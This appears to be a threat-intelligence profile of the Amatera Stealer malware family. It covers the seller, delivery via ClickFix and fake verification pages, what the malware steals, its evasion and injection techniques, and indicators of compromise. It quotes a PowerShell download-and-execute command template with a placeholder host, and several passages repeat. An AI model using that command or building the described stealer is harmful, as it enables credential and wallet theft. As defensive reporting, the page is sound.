Amatera Stealer is a C++ information-stealing malware family and malware-as-a-service offering that multiple reports describe as a rebranded and significantly updated successor to ACR Stealer, also referred to as AcridRain; some reporting also links its lineage to GrMsk Stealer. It has been marketed by the threat actor SheldIO, with pricing reported from $199 per month to $1,499 per year, and has been positioned in reporting as a successor or alternative to Lumma Stealer.
Observed delivery vectors are heavily centered on ClickFix-style social engineering. Reports describe Amatera being delivered through fake CAPTCHA, fake Google and Cloudflare verification pages, fake Google Meet audio-fix prompts, ClearFake web injects, malicious Google Ads, fake Claude Code installation pages, compromised websites, software cracks, fake software downloads, trojanized applications, MSHTA-based chains, CountLoader, Emmenhtal Loader, GoFlateLoader, and abuse of the signed Microsoft App-V script SyncAppvPublishingServer.vbs. One documented chain used a trojanized Franz messaging application to fetch ResiLoader, which then disabled security tools and deployed a stealer payload. Another documented enterprise-focused chain used App-V infrastructure and a Google Calendar ICS dead-drop resolver before launching shellcode for Amatera.
Amatera’s core function is credential and data theft. Reporting states it steals data from browsers, browser extensions, crypto wallets, desktop wallet applications, password managers, email clients, SSH and FTP tools, messaging applications including Signal and WhatsApp, and other user data. It can bypass Chrome App-Bound Encryption by injecting shellcode into Chromium-based browsers to copy sensitive files for exfiltration. eSentire reported expanded collection scope including 65 browser targets, 165 wallet browser extensions, 137 desktop wallet targets, Discord harvesting, expanded Signal harvesting, and file theft from the Downloads directory for wallet exports, seed phrases, private keys, passwords, JSON, TXT, PDF, KDBX, and related files.
The malware is described as actively developed and increasingly stealthy. Proofpoint reported that Amatera retrieves an encoded JSON configuration from C2 rather than storing it in the binary, uses NTSockets to communicate directly with \Device\Afd\Endpoint instead of Winsock, and uses WoW64 syscalls with dynamic API resolution to evade user-mode monitoring and EDR visibility. eSentire reported later variants adding XTEA string encryption, RecycledGate/FreshyCalls-style syscall resolution, anti-debugging checks, anti-analysis checks, geofencing for Ukrainian keyboard layouts and Kaspersky-related artifacts, and upgraded C2 protection from AES-256-CBC to ECDH over NIST P-256 with ChaCha20-Poly1305. A reported configuration key named "ld" allows download and execution of additional payloads, including .exe, .cmd, .dll, and .ps1 files.
Amatera has been observed across commodity and enterprise-targeted campaigns and in at least one finance-sector intrusion attempt. It is commonly delivered as a final payload by loaders and social-engineering chains, and reporting repeatedly groups it with other prevalent stealers such as Lumma, Remus, Vidar, StealC, and SvitStealer.
High-confidence indicators mentioned in the reporting include domains amaprox[.]icu, b1[.]talismanoverblown[.]com, compactedtightness.cfd, contatoplus[.]com, claude[.]update-version[.]com, completstep[.]com, and infrastructure such as gcdnb.pbrd[.]co and iili[.]io; IPs 104.21.80[.]1, 172.67.178[.]5, 77.91.97.244, and 144.124.235.102; the ClearFake BNB Smart Chain Testnet contract 0x80d31D935f0EC978253A26D48B5593599B9542C7; and sample hashes including e913fa5b2dd0a7fc3dbaf0a6f882b3ead9a58511bd945b6e5c478cbd2b900508 and ec1206989449d30746b5ceb2b297cda9f3f09636a0e122ecafb40b1dc2e86772. Proofpoint also published Emerging Threats signatures 2052674, 2062510, and 2062511 for Amatera/ACR Stealer C2 check-in and exfiltration detection.
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1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
In late April 2026, eSentire's Threat Response Unit (TRU) intercepted an attempted delivery of Amatera Stealer within a customer environment in the Finance industry. Amatera Stealer is a rebranded version of ACR (AcridRain) Stealer, a C++ based information stealer previously marketed as Malware-as-a-Service (MaaS) on underground forums by the threat actor SheldIO.
30 distinct techniques documented for this family, organized by ATT&CK tactic.
Proofpoint observed Amatera Stealer distributed via ClearFake website injects in April and May 2025. ClearFake is a web inject activity cluster that compromises legitimate websites with malicious HTML and JavaScript.
This command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe.
The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Another interesting feature that was not previously documented relative to this malware is its use of WoW64 Syscalls... this sample defines various functions that stage a Windows API to be resolved and executed dynamically. | The code used to initialize contact with the C2 at this stage leverages NTSockets by interfacing with the device “\\Device\\Afd\\Endpoint” directly, rather than using the Winsock library.
The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.
Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.
Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.
The .csproj file contained obfuscated logic that reconstructs and runs another layer of Base64-encoded PowerShell... This third PowerShell script is again heavily obfuscated and uses XOR encoding.
Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts... it uses a renamed MSHTA copy disguised as iso2022.exe
The vast majority of detections for mshta.exe come from instances where the command line contains domains that appear to be legitimate services but are hosted on the .cc TLD... Starting in late February 2026... shifted to .vg and .gl TLDs.
Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.
Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.
It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.
The script first disables PowerShell logging and suppresses output by setting all preference variables (such as ErrorActionPreference, VerbosePreference, etc.) to SilentlyContinue and overriding built-in functions like Write-Host.
The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.
It uses a 128-byte XOR key to first decrypt the encrypted payload blob, then aPLib to decompress it.
The tool is MSHTA, short for Microsoft HTML Application Host, a built-in Windows utility that can run scripts from local files and remote internet locations... Attackers have been using it to deliver some of today’s most harmful malware... All use MSHTA as a stepping stone during early or middle stages of infection.
Stealing browser data relating to Cookies, Web Forms, Profile Data (web history)
Amatera Stealer currently focuses on stealing information from installed software like browsers, crypto wallets and other software... Stealing browser data relating to Cookies, Web Forms, Profile Data.
The malware initiates contact with its configured command and control (C2) server via HTTP shortly after execution... Samples of Amatera Stealer observed in May 2025 contain code which suggests new support for HTTPS requests.
140 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
48 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Stealer malware distributed via fake Google and Cloudflare verification pages in the ClickFix campaign.
Infostealer delivered by the campaign; associated C2 infrastructure is listed in the report.
An information stealer observed as a payload delivered by GoFlateLoader.
An information stealer delivered by GoFlateLoader to harvest saved passwords, browser data, and cryptocurrency wallet credentials from infected machines.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.